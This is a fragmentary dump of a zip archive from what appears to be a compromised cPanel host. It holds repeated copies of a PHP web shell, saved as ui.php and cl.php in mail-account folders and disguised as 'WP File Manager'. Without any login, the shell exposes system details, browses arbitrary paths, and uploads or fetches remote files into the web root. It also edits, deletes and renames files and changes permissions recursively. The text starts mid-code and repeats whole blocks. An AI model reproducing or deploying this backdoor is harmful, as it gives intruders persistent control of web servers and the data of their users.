green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëshenaj@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]ބÃZBB%romania@dunyagozbalkans.com/.metadatanu„[µü¤[addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK [calendar] type VCALENDAR description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 PK’&{]„N9³§Ë§Ë"romania@dunyagozbalkans.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute 